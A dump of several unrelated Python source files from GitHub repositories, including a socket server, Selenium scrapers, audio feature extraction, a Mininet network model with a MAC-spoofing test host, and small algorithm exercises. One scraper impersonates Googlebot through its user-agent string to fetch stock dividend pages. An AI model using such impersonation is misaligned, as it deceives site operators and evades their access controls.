set'\n },\n {\n 'name': 'Second hand data set'\n },\n {\n 'name': 'Tracing Heart data set'\n },\n {\n 'name': 'Tracing Heart data set (with outline)'\n },\n ],\n }\n ]\n\n x = PrettyTable()\n\n # Retrieving the desired district\n goal_answer = prompt(goal_of_program, style=style)\n \n # Prompting users with which algorithm they want to pick\n data_answer = prompt(data_type, style=style)\n\n if goal_answer['goal'] == 'Only visualize':\n if data_answer['data'] == 'All data sets from original paper':\n visualizations.mammoth_visualization()\n visualizations.brain_visualization()\n visualizations.swissroll_visualization()\n visualizations.stanford_visualization()\n\n elif data_answer['data'] == 'All new data sets':\n visualizations.pic_data_visualization(\"hand-images-1\")\n visualizations.pic_data_visualization(\"hand-images-2\")\n visualizations.pic_data_visualization(\"heart\")\n visualizations.pic_data_visualization(\"heart-guide\")\n visualizations.circle_visualization()\n \n elif data_answer['data'] == 'Mammoth data set (from original paper)':\n visualizations.mammoth_visualization()\n elif data_answer['data'] == 'Brain Artery Tree data set (from original paper)':\n visualizations.brain_visualization()\n elif data_answer['data'] == 'Stanford Faces data set (from original paper)':\n visualizations.stanford_visualization()\n elif data_answer['data'] == 'Swiss Roll with Holes data set (from original paper)':\n visualizations.swissroll_visualization()\n elif data_answer['data'] == 'Collection of circles ambient in 3D':\n visualizations.circle_visualization()\n elif data_answer['data'] == 'First hand data set':\n visualizations.pic_data_visualization(\"hand-images-1\") \n elif data_answer['data'] == 'Second hand data set':\n visualizations.pic_data_visualization(\"hand-images-2\") \n elif data_answer['data'] == 'Tracing Heart data set':\n visualizations.pic_data_visualization(\"heart\") \n elif data_answer['data'] == 'Tracing Heart data set (with outline)':\n visualizations.pic_data_visualization(\"heart-guide\") \n\n if goal_answer['goal'] == 'Only run quantative tests':\n if data_answer['data'] == 'All data sets from original paper':\n analysis.mammoth_analyse()\n analysis.brain_analyse()\n analysis.swissroll_analyse()\n analysis.stanford_analyse()\n\n elif data_answer['data'] == 'All new data sets':\n analysis.pic_data_analyse(\"hand-images-1\")\n analysis.pic_data_analyse(\"hand-images-2\")\n analysis.pic_data_analyse(\"heart\")\n analysis.pic_data_analyse(\"heart-guide\")\n analysis.circle_analyse()\n \n elif data_answer['data'] == 'Mammoth data set (from original paper)':\n analysis.mammoth_analyse()\n elif data_answer['data'] == 'Brain Artery Tree data set (from original paper)':\n analysis.brain_analyse()\n elif data_answer['data'] == 'Stanford Faces data set (from original paper)':\n analysis.stanford_analyse()\n elif data_answer['data'] == 'Swiss Roll with Holes data set (from original paper)':\n analysis.swissroll_analyse()\n elif data_answer['data'] == 'Collection of circles ambient in 3D':\n analysis.circle_analyse()\n elif data_answer['data'] == 'First hand data set':\n analysis.pic_data_analyse(\"hand-images-1\") \n elif data_answer['data'] == 'Second hand data set':\n analysis.pic_data_analyse(\"hand-images-2\") \n elif data_answer['data'] == 'Tracing Heart data set':\n analysis.pic_data_analyse(\"heart\") \n elif data_answer['data'] == 'Tracing Heart data set (with outline)':\n analysis.pic_data_analyse(\"heart-guide\") \n \n\n print(\"Check the figures folder for the output!\")\n\n ","repo_name":"sliemelela/TDA2022DIPOLE","sub_path":"runme.py","file_name":"runme.py","file_ext":"py","file_size_in_byte":6215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"11704370939","text":"from time import sleep\n\nfrom selenium.webdriver.common.by import By\nfrom selenium.webdriver.remote.webdriver import WebDriver\n\n# 这是一个添加成员的PO\nfrom pytest_web.selenium_wework_main.page.base_page import BasePage\n\n\nclass Addmenber(BasePage):\n\n def add_menber(self):\n # sendkeys\n self.find(By.ID, \"username\").send_keys('name219')\n # self.find(By.ID, \"memberAdd_english_name\").send_keys(\"3211208\")\n self.find(By.ID, \"memberAdd_acctid\").send_keys(\"zhang1hao208\")\n self.find(By.ID, \"memberAdd_phone\").send_keys(\"13121111387\")\n self.find(By.CSS_SELECTOR, '.js_btn_save').click()\n\n def page(self):\n # 得到当前页的分页的数据 获取到当前分页的文本 1/10\n content: str = self.find(By.CSS_SELECTOR, '.ww_pageNav_info_text').text\n # 使用python自带的分割 得到页数的 当前页和总页数的数据 使用斜杠作为分隔符 切割一次得到一个list list[0]=1 list[1]=10\n # 强行把得到的list分页数据 转换为int类型 使用for循环遍历list数据改为数组\n return [int(x) for x in content.split('/', 1)]\n\n def get_menber(self, value): # 传值做判断 不用每一个都把数据追加到list里面去\n self.wait_for((By.CSS_SELECTOR, '.member_colRight_memberTable_td:nth-child(2)'))\n cur_page, total_page = self.page()\n # 提取出来之后使用死循环遍历数据\n while True:\n # 获取 通讯录中的姓名列\n elements = self.finds(By.CSS_SELECTOR, '.member_colRigh t_memberTable_td:nth-child(2)')\n # 使用循环得到每一页的title 也就是姓名的数据\n for element in elements: # 使用判断 如果获取元素组中有传进来的那个元素 直接返回True\n if value == element.get_attribute(\"title\"):\n return True\n # 更新当前页数据\n cur_page = self.page()[0]\n # 如果当前页的数据等等于总页数 就说明到了页尾\n if cur_page == total_page:\n # 如果到了页尾都没找到这个元素 直接返回False 就是没有找到这个元素\n return False\n # 点击当前页面的分页数据 下一页的数据 如果不等于\n self.find(By.CSS_SELECTOR, '.js_next_page').click()\n # # 如果当前页的页数小于总页数\n # if cur_page < total_page:\n # # 就去替换当前页的数据 cur_page 更新当前页\n # cur_page= [int(x) for x in content.split('/', 1)][0]\n\n # for element in elements:\n # list.append(element.get_attribute(\"title\"))\n # return list\n # return [element.get_attribute(\"title\") for element in elements] #上面方式的简洁版本\n","repo_name":"aj1218/hogwarts_test","sub_path":"pytest_web/selenium_wework_main/page/add_menber.py","file_name":"add_menber.py","file_ext":"py","file_size_in_byte":2840,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"23279179735","text":"import socket\nimport threading\n\nheader = 64\nserver_name = socket.gethostbyname(socket.gethostname())\nport = 7777\naddress = (server_name, port)\ndisconnect_msg = \"!DISCONNECT\"\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind(address)\n\n\ndef handle_client(conn, addr):\n print(f\"New Connection {addr} connected.\")\n connected = True\n while connected:\n msg_length = conn.recv(header).decode('utf-8')\n if msg_length:\n msg_length = int(msg_length)\n msg = conn.recv(msg_length).decode('utf-8')\n if msg == disconnect_msg:\n connected = False\n\n print(f\"{addr} - {msg}\")\n conn.send(\"Msg received.\".encode('utf-8'))\n\n conn.close()\n\ndef start():\n server.listen()\n print(f\"Server running on {server_name}\")\n while True:\n conn, addr = server.accept()\n thread = threading.Thread(target=handle_client, args=(conn, addr))\n thread.start()\n print(f\"Active connections {threading.activeCount()-1}\")\n\nprint(\"Server is starting...\")\nstart()","repo_name":"lucasestevesr/Python-TCP-socket","sub_path":"server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"3176973729","text":"from selenium import webdriver\r\nfrom selenium.webdriver import Firefox\r\nfrom selenium.webdriver.common.keys import Keys\r\nfrom selenium.webdriver.common.by import By\r\nfrom time import sleep\r\nimport json\r\nimport timeit\r\n\r\n\r\ndef get_dividend_json(symbol):\r\n options = webdriver.FirefoxOptions()\r\n options.add_argument('--headless')\r\n\r\n # GoogleBot User Agent\r\n options.add_argument(\r\n f\"--user-agent=Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html\")\r\n\r\n driver = webdriver.Firefox(options)\r\n driver.get(\"https://seekingalpha.com/symbol/\" +\r\n symbol+\"/dividends/scorecard\")\r\n sleep(1)\r\n price = driver.find_element(\r\n By.XPATH, '//*[@id=\"content\"]/div[2]/div/div[1]/div/div[2]/span[1]').text.replace('$', \"\")\r\n dividend = driver.find_element(\r\n By.XPATH, '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/section[3]/div/div[2]/div/div[1]/div[2]').text.replace('$', \"\")\r\n frequency = driver.find_element(\r\n By.XPATH, '//*[@id=\"content\"]/div[2]/div/div[3]/div/div/section[3]/div/div[2]/div/div[6]/div[2]').text\r\n driver.quit()\r\n dividend_json = json.dumps({'Price': float(price), 'Dividend Amount': float(\r\n dividend), 'Dividend Frequency': frequency})\r\n return dividend_json\r\n\r\n\r\n\"\"\"\r\nstart = timeit.default_timer()\r\nprint(get_dividendJSON(\"PSEC\"))\r\nstop = timeit.default_timer()\r\nprint(stop-start)\r\n\"\"\"\r\n","repo_name":"Zennou/DividendAPI","sub_path":"my_dividend_scraper.py","file_name":"my_dividend_scraper.py","file_ext":"py","file_size_in_byte":1408,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"16925746744","text":"import os\nimport sys\nsys.path.insert(1, os.path.join(sys.path[0], 'utils'))\nimport numpy as np\nimport argparse\nimport h5py\nimport librosa\nfrom scipy import signal\nimport matplotlib.pyplot as plt\nimport time\nimport math\nimport pandas as pd\nimport random\n\nfrom utilities import (create_folder, read_audio, calculate_scalar_of_tensor, \n pad_truncate_sequence)\nimport config\n\n\nclass LogMelExtractor(object):\n def __init__(self, sample_rate, window_size, hop_size, mel_bins, fmin, fmax):\n '''Log mel feature extractor. \n \n Args:\n sample_rate: int\n window_size: int\n hop_size: int\n mel_bins: int\n fmin: int, minimum frequency of mel filter banks\n fmax: int, maximum frequency of mel filter banks\n '''\n \n self.window_size = window_size\n self.hop_size = hop_size\n self.window_func = np.hanning(window_size)\n \n self.melW = librosa.filters.mel(\n sr=sample_rate, \n n_fft=window_size, \n n_mels=mel_bins, \n fmin=fmin, \n fmax=fmax).T\n '''(n_fft // 2 + 1, mel_bins)'''\n\n def transform(self, audio):\n '''Extract feature of a singlechannel audio file. \n \n Args:\n audio: (samples,)\n \n Returns:\n feature: (frames_num, freq_bins)\n '''\n \n window_size = self.window_size\n hop_size = self.hop_size\n window_func = self.window_func\n \n # Compute short-time Fourier transform\n stft_matrix = librosa.core.stft(\n y=audio, \n n_fft=window_size, \n hop_length=hop_size, \n window=window_func, \n center=True, \n dtype=np.complex64, \n pad_mode='reflect').T\n '''(N, n_fft // 2 + 1)'''\n \n # Mel spectrogram\n mel_spectrogram = np.dot(np.abs(stft_matrix) ** 2, self.melW)\n \n # Log mel spectrogram\n logmel_spectrogram = librosa.core.power_to_db(\n mel_spectrogram, ref=1.0, amin=1e-10, \n top_db=None)\n \n logmel_spectrogram = logmel_spectrogram.astype(np.float32)\n \n return logmel_spectrogram\n\n\ndef read_metadata(metadata_path, data_type, mini_data):\n '''Read metadata csv file. \n \n Args:\n metadata_path: string\n data_type: 'train' | 'validate'\n mini_data: bool, set True for debugging on a small part of data\n \n Returns:\n meta_dict\n '''\n\n fine_labels = config.fine_labels\n fine_classes_num = config.fine_classes_num\n fine_lb_to_idx = config.fine_lb_to_idx\n coarse_labels = config.coarse_labels\n coarse_classes_num = config.coarse_classes_num\n coarse_lb_to_idx = config.coarse_lb_to_idx\n\n # Read csv data\n assert data_type in ['train', 'validate']\n df = pd.read_csv(metadata_path, sep=',')\n df = df[df['split'] == data_type].reset_index()\n \n # Each audio may be annotated by multiple labelers. So remove duplicate \n # audio names. \n audio_names = np.array(sorted(list(set(df['audio_filename']))))\n \n if mini_data:\n random_state = np.random.RandomState(1234)\n random_state.shuffle(audio_names)\n audio_names = audio_names[0 : 10]\n\n fine_targets = []\n coarse_targets = []\n \n for audio_name in audio_names:\n # One audio_name may have multiple labelers\n indexes = df.index[df['audio_filename'] == audio_name]\n fine_target = np.zeros(fine_classes_num)\n coarse_target = np.zeros(coarse_classes_num)\n \n # Aggregating annotation of multiple labelers\n for index in indexes:\n for fine_label in fine_labels:\n class_idx = fine_lb_to_idx[fine_label]\n label_type = '{}_presence'.format(fine_label)\n fine_target[class_idx] += df.iloc[index][label_type]\n \n for coarse_label in coarse_labels:\n class_idx = coarse_lb_to_idx[coarse_label]\n label_type = '{}_presence'.format(coarse_label)\n coarse_target[class_idx] += df.iloc[index][label_type]\n \n # Annotation of an audio is the average annotation of multiple labelrs\n fine_target /= len(indexes)\n coarse_target /= len(indexes)\n \n fine_targets.append(fine_target)\n coarse_targets.append(coarse_target)\n \n fine_targets = np.array(fine_targets)\n coarse_targets = np.array(coarse_targets)\n \n meta_dict = {\n 'audio_name': audio_names, \n 'fine_target': fine_targets, \n 'coarse_target': coarse_targets}\n\n return meta_dict\n\n\ndef read_evaluate_metadata(audios_dir, mini_data):\n audio_names = sorted(os.listdir(audios_dir))\n\n if mini_data:\n audio_names = audio_names[0 : 10]\n\n meta_dict = {'audio_name': audio_names}\n \n return meta_dict\n\n\ndef calculate_feature_for_all_audio_files(args):\n '''Calculate feature of audio files and write out features to a single hdf5 \n file. \n \n Args:\n dataset_dir: string\n workspace: string\n data_type: 'train' | 'validate' | 'evaluate'\n mini_data: bool, set True for debugging on a small part of data\n '''\n \n # Arguments & parameters\n dataset_dir = args.dataset_dir\n data_type = args.data_type\n workspace = args.workspace\n mini_data = args.mini_data\n \n sample_rate = config.sample_rate\n window_size = config.window_size\n hop_size = config.hop_size\n mel_bins = config.mel_bins\n fmin = config.fmin\n fmax = config.fmax\n frames_per_second = config.frames_per_second\n frames_num = config.frames_num\n total_samples = config.total_samples\n \n # Paths\n if mini_data:\n prefix = 'minidata_'\n else:\n prefix = ''\n \n metadata_path = os.path.join(dataset_dir, 'annotations.csv')\n\n if data_type in ['train', 'validate']:\n audios_dir = os.path.join(dataset_dir, data_type)\n elif data_type == 'evaluate':\n audios_dir = os.path.join(dataset_dir, 'audio-eval')\n \n feature_path = os.path.join(workspace, 'features', \n '{}logmel_{}frames_{}melbins'.format(prefix, frames_per_second, mel_bins), \n '{}.h5'.format(data_type))\n create_folder(os.path.dirname(feature_path))\n \n # Feature extractor\n feature_extractor = LogMelExtractor(\n sample_rate=sample_rate, \n window_size=window_size, \n hop_size=hop_size, \n mel_bins=mel_bins, \n fmin=fmin, \n fmax=fmax)\n\n # Read metadata\n print('Extracting features of all audio files ...')\n extract_time = time.time()\n \n if data_type in ['train', 'validate']:\n meta_dict = read_metadata(metadata_path, data_type, mini_data)\n elif data_type == 'evaluate':\n meta_dict = read_evaluate_metadata(audios_dir, mini_data)\n\n # Hdf5 containing features and targets\n hf = h5py.File(feature_path, 'w')\n\n hf.create_dataset(\n name='audio_name', \n data=[audio_name.encode() for audio_name in meta_dict['audio_name']], \n dtype='S32')\n\n if 'fine_target' in meta_dict.keys():\n hf.create_dataset(\n name='fine_target', \n data=meta_dict['fine_target'], \n dtype=np.float32)\n \n if 'coarse_target' in meta_dict.keys():\n hf.create_dataset(\n name='coarse_target', \n data=meta_dict['coarse_target'], \n dtype=np.float32)\n\n hf.create_dataset(\n name='feature', \n shape=(0, frames_num, mel_bins), \n maxshape=(None, frames_num, mel_bins), \n dtype=np.float32)\n\n for (n, audio_name) in enumerate(meta_dict['audio_name']):\n audio_path = os.path.join(audios_dir, audio_name)\n print(n, audio_path)\n \n # Read audio\n (audio, _) = read_audio(\n audio_path=audio_path, \n target_fs=sample_rate)\n\n # Pad or truncate audio recording\n audio = pad_truncate_sequence(audio, total_samples)\n \n # Extract feature\n feature = feature_extractor.transform(audio)\n \n # Remove the extra frames caused by padding zero\n feature = feature[0 : frames_num]\n \n hf['feature'].resize((n + 1, frames_num, mel_bins))\n hf['feature'][n] = feature\n \n hf.close()\n \n print('Write hdf5 file to {} using {:.3f} s'.format(\n feature_path, time.time() - extract_time))\n \n \ndef calculate_scalar(args):\n '''Calculate and write out scalar of features. \n \n Args:\n workspace: string\n data_type: 'train'\n mini_data: bool, set True for debugging on a small part of data\n '''\n\n # Arguments & parameters\n data_type = args.data_type\n workspace = args.workspace\n mini_data = args.mini_data\n \n mel_bins = config.mel_bins\n frames_per_second = config.frames_per_second\n \n # Paths\n if mini_data:\n prefix = 'minidata_'\n else:\n prefix = ''\n \n feature_path = os.path.join(workspace, 'features', \n '{}logmel_{}frames_{}melbins'.format(prefix, frames_per_second, mel_bins), \n '{}.h5'.format(data_type))\n \n scalar_path = os.path.join(workspace, 'scalars', \n '{}logmel_{}frames_{}melbins'.format(prefix, frames_per_second, mel_bins), \n '{}.h5'.format(data_type))\n create_folder(os.path.dirname(scalar_path))\n \n # Load data\n load_time = time.time()\n \n with h5py.File(feature_path, 'r') as hf:\n features = hf['feature'][:]\n \n # Calculate scalar\n features = np.concatenate(features, axis=0)\n (mean, std) = calculate_scalar_of_tensor(features)\n \n with h5py.File(scalar_path, 'w') as hf:\n hf.create_dataset('mean', data=mean, dtype=np.float32)\n hf.create_dataset('std', data=std, dtype=np.float32)\n \n print('All features: {}'.format(features.shape))\n print('mean: {}'.format(mean))\n print('std: {}'.format(std))\n print('Write out scalar to {}'.format(scalar_path))\n \n\nif __name__ == '__main__':\n \n parser = argparse.ArgumentParser(description='')\n subparsers = parser.add_subparsers(dest='mode')\n\n # Calculate feature for all audio files\n parser_logmel = subparsers.add_parser('calculate_feature_for_all_audio_files')\n parser_logmel.add_argument('--dataset_dir', type=str, required=True, help='Directory of dataset.')\n parser_logmel.add_argument('--workspace', type=str, required=True, help='Directory of your workspace.')\n parser_logmel.add_argument('--data_type', type=str, choices=['train', 'validate', 'evaluate'], required=True)\n parser_logmel.add_argument('--mini_data', action='store_true', default=False, help='Set True for debugging on a small part of data.')\n\n # Calculate scalar\n parser_scalar = subparsers.add_parser('calculate_scalar')\n parser_scalar.add_argument('--data_type', type=str, choices=['train'], required=True, help='Scalar is calculated on train data.')\n parser_scalar.add_argument('--workspace', type=str, required=True, help='Directory of your workspace.')\n parser_scalar.add_argument('--mini_data', action='store_true', default=False, help='Set True for debugging on a small part of data.')\n \n # Parse arguments\n args = parser.parse_args()\n \n if args.mode == 'calculate_feature_for_all_audio_files':\n calculate_feature_for_all_audio_files(args)\n \n elif args.mode == 'calculate_scalar':\n calculate_scalar(args)\n \n else:\n raise Exception('Incorrect arguments!')","repo_name":"qiuqiangkong/dcase2019_task5","sub_path":"utils/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":11573,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"24"} +{"seq_id":"28044606192","text":"# Model of Gates Network for Mininet\n# Craig Riecke, CoSciN Developer/Analyst, June, 2015\n#\n# To make this work:\n# - You need to be at Mininet > 2.2, which you should build from source if on Ubuntu 14.04 (the\n# latest dpkg is Mininet 2.1). This will make the links use the right ports instead of \n# sequentially renumbering them\n# - You need vlan package, via \"sudo apt-get install vlan\"\n# - You also need DHCP server and client, packages udhcpd and udhcpc \n# - You NEED OpenVSwitch = 2.1. Install this from mininet - util/install.sh -V 2.1.3 \n# - Version 2.0.2, the one that comes in Ubuntu 14.04, has a \n# bug which sends a truncated packet with packet_in, but with buffer_id=-1 (meaning no buffer)\n# Since you don't have all the data, it's impossible to send out the correct data in packet_out.\n# This really affects DHCP. \n# - Version 2.3 installs a Table Miss rule to drop all packets, and you can't get rid of it.\n# Dell switches are configured to Table-Miss to the controller, and that's REQUIRED because of\n# the insane implementation of ACL and L2/L3 tables. So your scripts won't work here. \n\nimport re\nimport sys\nfrom networkx import *\nimport pygraphviz as pgv\n\n# Mininet imports\nfrom mininet.log import lg, info, error, debug, output\nfrom mininet.util import quietRun\nfrom mininet.node import Host, OVSSwitch, RemoteController\nfrom mininet.cli import CLI\nfrom mininet.net import Mininet\n\n\n# Mercilessly copied from https://github.com/mininet/mininet/blob/master/examples/vlanhost.py\n#\nclass VLANHost( Host ):\n \"Host connected to VLAN interface\"\n\n def config( self, vlan=100, **params ):\n \"\"\"Configure VLANHost according to (optional) parameters:\n vlan: VLAN ID for default interface\"\"\"\n\n r = super( VLANHost, self ).config( **params )\n\n intf = self.defaultIntf()\n # remove IP from default, \"physical\" interface\n self.cmd( 'ifconfig %s inet 0' % intf )\n # create VLAN interface\n self.cmd( 'vconfig add %s %d' % ( intf, vlan ) )\n # assign the host's IP to the VLAN interface\n self.cmd( 'ifconfig %s.%d inet %s' % ( intf, vlan, params['ip'] ) )\n # update the intf name and host's intf map\n newName = '%s.%d' % ( intf, vlan )\n # update the (Mininet) interface to refer to VLAN interface name\n intf.name = newName\n # add VLAN interface to host's name to intf map\n self.nameToIntf[ newName ] = intf\n\n return r\n\n# DHCP server functions and data\n\nDNSTemplate = \"\"\"\nstart 128.253.154.100\nend 128.253.154.250\noption subnet 255.255.255.0\noption domain local\noption lease 3600 # seconds\n\"\"\"\n\ndef makeDHCPconfig( filename, intf, gw, dns ):\n \"Create a DHCP configuration file\"\n config = (\n 'interface %s' % intf,\n DNSTemplate,\n 'option router %s' % gw,\n 'option dns %s' % dns,\n '' )\n with open( filename, 'w' ) as f:\n f.write( '\\n'.join( config ) )\n\ndef startDHCPserver( host, gw, dns ):\n \"Start DHCP server on host with specified DNS server\"\n info( '* Starting DHCP server on', host, 'at', host.IP(), '\\n' )\n dhcpConfig = '/tmp/%s-udhcpd.conf' % host\n makeDHCPconfig( dhcpConfig, host.defaultIntf(), gw, dns )\n host.cmd( 'udhcpd -f', dhcpConfig,\n '1>/tmp/%s-dhcp.log 2>&1 &' % host )\n\ndef start(ip=\"127.0.0.1\",port=6633):\n#def start(ip=\"127.0.0.1\",port=6653):\n\n ctrlr = lambda n: RemoteController(n, ip=ip, port=port, inNamespace=False)\n net = Mininet(switch=OVSSwitch, controller=ctrlr, autoStaticArp=False)\n c1 = net.addController('c1')\n\n gates_agraph = pgv.AGraph(\"simplified_gates_topology.dot\")\n for sw in gates_agraph.nodes():\n net.addSwitch(sw, dpid = hex( int(sw.attr['dpid']) )[2:])\n\n for link in gates_agraph.edges():\n (src_switch, dst_switch) = link\n net.addLink(src_switch, dst_switch, int(link.attr['src_port']), int(link.attr['dport']) )\n\n # Only one host and an Internet Router disguised as a host for now (because it's not part of the OF network)\n h0 = net.addHost('h0', cls=VLANHost, mac='d4:c9:ef:b2:1b:80', ip='128.253.154.1', vlan=1356)\n net.addLink(\"s_bdf\", h0, 1, 0)\n\n # To test DHCP functionality, ucnomment this line and comment out the fixed IP line. Then when mininet\n # starts you issue:\n # mininet> h1 dhclient -v -d -1 h1-eth0.1356\n # and make sure it gets its IP by going through all protocol steps.\n #h1 = net.addHost('h1', cls=VLANHost, mac='00:00:01:00:00:11', ip='0.0.0.0', vlan=1356)\n h1 = net.addHost('h1', cls=VLANHost, mac='00:00:01:00:00:11', ip='128.253.154.100', vlan=1356)\n net.addLink(\"s_f3a\", h1, 32, 0)\n\n # h4{a,b,c} are wireless nodes supposedly hooked up to a dumb AP. You can't just hook them up\n # to the same mininet port. Y \n h4a = net.addHost('h4a', cls=VLANHost, mac='00:00:01:00:00:14', ip='128.253.154.104', vlan=1356)\n net.addLink(\"s_f3a\", h4a, 33, 0)\n #net.addHost('h4b', cls=VLANHost, mac='00:00:01:00:00:14', ip='128.253.154.104', vlan=1356)\n #net.addHost('h4c', cls=VLANHost, mac='00:00:01:00:00:14', ip='128.253.154.104', vlan=1356)\n\n # h2 is a syslab PC\n h2 = net.addHost('h2', cls=VLANHost, mac='00:00:01:00:00:13', ip='128.253.154.102', vlan=1356)\n net.addLink(\"s_lab_r6\", h2, 1, 0)\n\n # MAC spoofing attempt of h2\n h3 = net.addHost('h3', cls=VLANHost, mac='00:00:01:00:00:13', ip='128.253.154.102', vlan=1356)\n net.addLink(\"s_lab_r6\", h3, 2, 0)\n\n ###### Start of static Mininet epilogue ######\n # Set up logging etc.\n lg.setLogLevel('info')\n lg.setLogLevel('output')\n\n # Start the network\n net.start()\n # Start the DHCP server on Internet Router. This will actually be a DHCP proxy in the real setup. \n #startDHCPserver( h0, gw='128.253.154.1', dns='8.8.8.8')\n\n\n # Enter CLI mode\n output(\"Network ready\\n\")\n output(\"Press Ctrl-d or type exit to quit\\n\")\n CLI(net)\n # net.stop()\n\nstart()","repo_name":"coscin/gates","sub_path":"gates_mininet.py","file_name":"gates_mininet.py","file_ext":"py","file_size_in_byte":5831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"74994230143","text":"\nimport sys\n\n\ndef dfs(x,y):\n global cnt\n if x<0 or x>=n or y<0 or y>=m:\n return False\n if array[x][y] == 0:\n array[x][y] = 1\n cnt+=1\n for i in range(4):\n nx = x+dx[i]\n ny = y+dy[i]\n dfs(nx,ny)\n return True\n return False\n\nsys.setrecursionlimit(10**6)\ndx = [-1,1,0,0]\ndy = [0,0,-1,1]\nn,m,k = map(int,input().split())\narray = [[0 for _ in range(m)] for _ in range(n)]\nfor i in range(k):\n start_x,start_y,end_x,end_y = map(int,input().split())\n for j in range(start_x,end_x):\n for k in range(start_y,end_y):\n array[k][j] = 1\nresult = []\ncount = 0\nfor i in range(n):\n for k in range(m):\n cnt = 0\n if dfs(i,k) == True:\n result.append(cnt)\n count+=1\nresult.sort()\nprint(count)\nfor i in result:\n print(i,end=\" \")","repo_name":"JangYunSeong/Algorithm","sub_path":"bfs15.py","file_name":"bfs15.py","file_ext":"py","file_size_in_byte":850,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"24"} +{"seq_id":"4871415579","text":"from files.Tree_Nodes import *\r\nfrom queue import LifoQueue\r\n\r\ndef expr(prev_precedence):\r\n lhs = term()\r\n while(len(lexeme_list) > 0):\r\n op = lexeme_list.pop(0)\r\n if(op == \"RPAREN\"):\r\n break\r\n current_precedence = precedence(op)\r\n if(current_precedence < prev_precedence):\r\n lexeme_list.insert(0, op)\r\n break\r\n elif(len(lexeme_list) > 0):\r\n if(association(op) == \"left\"):\r\n rhs = expr(current_precedence + 1)\r\n else:\r\n rhs = expr(current_precedence)\r\n lhs = ExpressionNode(op, lhs, rhs) \r\n return lhs\r\n\r\n\r\ndef term():\r\n value = lexeme_list.pop(0)\r\n if(value[0:6] == \"NUMBER\"):\r\n return NumberNode(float(value[7:len(value) - 1]))\r\n elif(value == \"PI\"):\r\n return NumberNode(pi)\r\n elif(value == \"E\"):\r\n return NumberNode(e)\r\n elif(value == \"LPAREN\"):\r\n node = expr(-1)\r\n return node\r\n \r\n\r\ndef precedence(op):\r\n if(op in {\"PLUS\", \"MINUS\"}):\r\n return 0\r\n if(op in {\"TIMES\", \"DIVIDES\"}):\r\n return 1\r\n if(op == \"POWER\"):\r\n return 2\r\n else:\r\n return -1\r\n\r\ndef association(op):\r\n if(op in {\"PLUS\", \"MINUS\", \"TIMES\", \"DIVIDES\"}):\r\n return \"left\"\r\n if(op in {\"POWER\"}):\r\n return \"right\"\r\n\r\ndef build_tree(list1):\r\n global lexeme_list\r\n lexeme_list = list1\r\n return expr(-1)","repo_name":"nrbellman/MU_Calculator","sub_path":"files/Build_tree.py","file_name":"Build_tree.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"24"} +{"seq_id":"18675118205","text":"# dh.py\r\n#\r\n# digital history module from Turkel & MacEachern,\r\n# The Programming Historian (2007-08)\r\n#\r\n# contents:\r\n#\r\n# stopwords LIST\r\n# normalizeFrenchAccents(STRING) -> STRING\r\n# stripTags(HTML_STRING) -> TEXT_STRING\r\n# stripNonAlphaNum(TEXT_STRING) -> ALPHANUMERIC_STRING\r\n# webPageToText(URL_STRING) -> LOWERCASE_TEXT_STRING\r\n# removeStopwords(WORD_LIST, STOPWORD_LIST) -> WORD_LIST\r\n# wordListToFreqDict(WORD_LIST) -> DICTIONARY(WORD -> FREQUENCY)\r\n# sortFreqDict(DICTIONARY(WORD -> FREQUENCY)) -> SORTED_DICTIONARY(WORD -> FREQUENCY)\r\n# reSortFreqDictAlpha(DICTIONARY(WORD -> FREQUENCY)) -> SORTED_DICTIONARY(WORD -> FREQUENCY)\r\n# wrapStringInHTML(STRING, URL_STRING, STRING) -> HTML_STRING\r\n# keywordListToGoogleSearchLink(WORD_LIST, STRING) -> HTML_STRING\r\n# undecoratedHyperlink(URL_STRING, STRING) -> HTML_CSS_STRING\r\n# getNGrams(WORD_LIST, INTEGER) -> NGRAM_LIST\r\n# nGramsToKWICDict(NGRAM_LIST) -> DICTIONARY(KEYWORD_STRING -> KWIC_LIST)\r\n# prettyPrintKWIC(KWIC_LIST) -> STRING\r\n# defaultCSSDiv(STRING, STRING) -> HTML_CSS_STRING\r\n# scaledFontSizeSpan(STRING, INTEGER) -> HTML_CSS_STRING\r\n# scaledFontShadeSpan(STRING, INTEGER) -> HTML_CSS_STRING\r\n# scaledFontHeatmapSpan(STRING, INTEGER) -> HTML_CSS_STRING\r\n# getFileNames(STRING) -> LIST\r\n# localWebPageToText(HTML_STRING) -> STRING\r\n# replaceStopwords(WORD_LIST, STOPWORD_LIST, STRING) -> WORD_LIST\r\n\r\nstopwords = ['a', 'about', 'above', 'across', 'after', 'afterwards']\r\nstopwords += ['again', 'against', 'all', 'almost', 'alone', 'along']\r\nstopwords += ['already', 'also', 'although', 'always', 'am', 'among']\r\nstopwords += ['amongst', 'amoungst', 'amount', 'an', 'and', 'another']\r\nstopwords += ['any', 'anyhow', 'anyone', 'anything', 'anyway', 'anywhere']\r\nstopwords += ['are', 'around', 'as', 'at', 'back', 'be', 'became']\r\nstopwords += ['because', 'become', 'becomes', 'becoming', 'been']\r\nstopwords += ['before', 'beforehand', 'behind', 'being', 'below']\r\nstopwords += ['beside', 'besides', 'between', 'beyond', 'bill', 'both']\r\nstopwords += ['bottom', 'but', 'by', 'call', 'can', 'cannot', 'cant']\r\nstopwords += ['co', 'computer', 'con', 'could', 'couldnt', 'cry', 'de']\r\nstopwords += ['describe', 'detail', 'did', 'do', 'done', 'down', 'due']\r\nstopwords += ['during', 'each', 'eg', 'eight', 'either', 'eleven', 'else']\r\nstopwords += ['elsewhere', 'empty', 'enough', 'etc', 'even', 